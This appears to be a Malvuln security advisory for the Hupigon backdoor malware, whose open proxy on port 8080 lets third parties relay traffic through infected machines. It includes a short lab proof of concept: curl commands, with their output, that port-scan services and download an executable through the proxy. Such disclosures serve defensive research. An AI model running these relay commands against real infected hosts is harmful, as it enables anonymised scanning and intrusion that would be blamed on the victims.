Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hupigon.asqx malware suffers from an unauthenticated open proxy vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a344b767d58b6c83b92bb868727e021c.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.asqx
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: a344b767d58b6c83b92bb868727e021c
Vuln ID: MVID-2021-0343
Dropped files: win32.exe
Disclosure: 09/20/2021


Exploit/PoC:
Scan Ports)

curl -x http://192.168.18.129:8080 http://192.168.18.128:110 -v
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.

curl -x http://192.168.18.129:8080 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.129:8080 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
97 101k 97 98k 0 0 98k 0 0:00:01 0:00:01 --:--:-- 95224


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